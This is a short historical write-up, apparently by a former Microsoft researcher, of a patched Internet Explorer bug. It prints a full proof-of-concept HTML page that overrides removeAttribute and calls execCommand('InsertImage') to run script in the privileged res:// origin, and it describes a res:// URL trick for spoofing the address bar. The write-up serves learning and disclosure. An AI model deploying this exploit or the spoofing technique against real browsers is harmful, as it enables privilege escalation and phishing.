This one surprised me. By overriding the removeAttribute method on a specific image element and then triggering execCommand("InsertImage"), code could be executed in the context of the res:// domain — the internal IE protocol used for browser dialogs. That context had access to internal resources and could also be used as a stepping stone to spoof the address bar with internal IE error page URLs.
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
</head>
<body>
<img id="c2eec6217e1a474eb649bfedd577334a">
<img id="c2eec6217e1a474eb649bfedd577334a">
<script language="JavaScript">
document.all.c2eec6217e1a474eb649bfedd577334a.removeAttribute = function()
{
document.write('iFrame location.href: res://C:\WINDOWS\SYSTEM32\mshtmler.dll/insimage.dlg<br /><br /><iframe sandbox="allow-same-origin"></iframe><script>window[0].location = location;setTimeout("alert(window[0].location);alert(window[0].document.body.outerHTML)", 500)<\/script>');
document.close();
}
function main()
{
document.execCommand("InsertImage",1 ,1);
}
</script>
</body>
</html>The InsertImage command opened an internal dialog (insimage.dlg) from the res:// DLL. That dialog called removeAttribute on the image element with the magic ID, which the attacker had overridden. The overridden function wrote code into document — executing inside the res:// origin. From there, an iFrame with sandbox="allow-same-origin" could be navigated to location (which was res://...), and its content could be read. The URL could also be crafted as res://ieframe.dll/dnserror.htm#http://URL_TO_SPOOF/ to produce convincing address bar spoofs.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.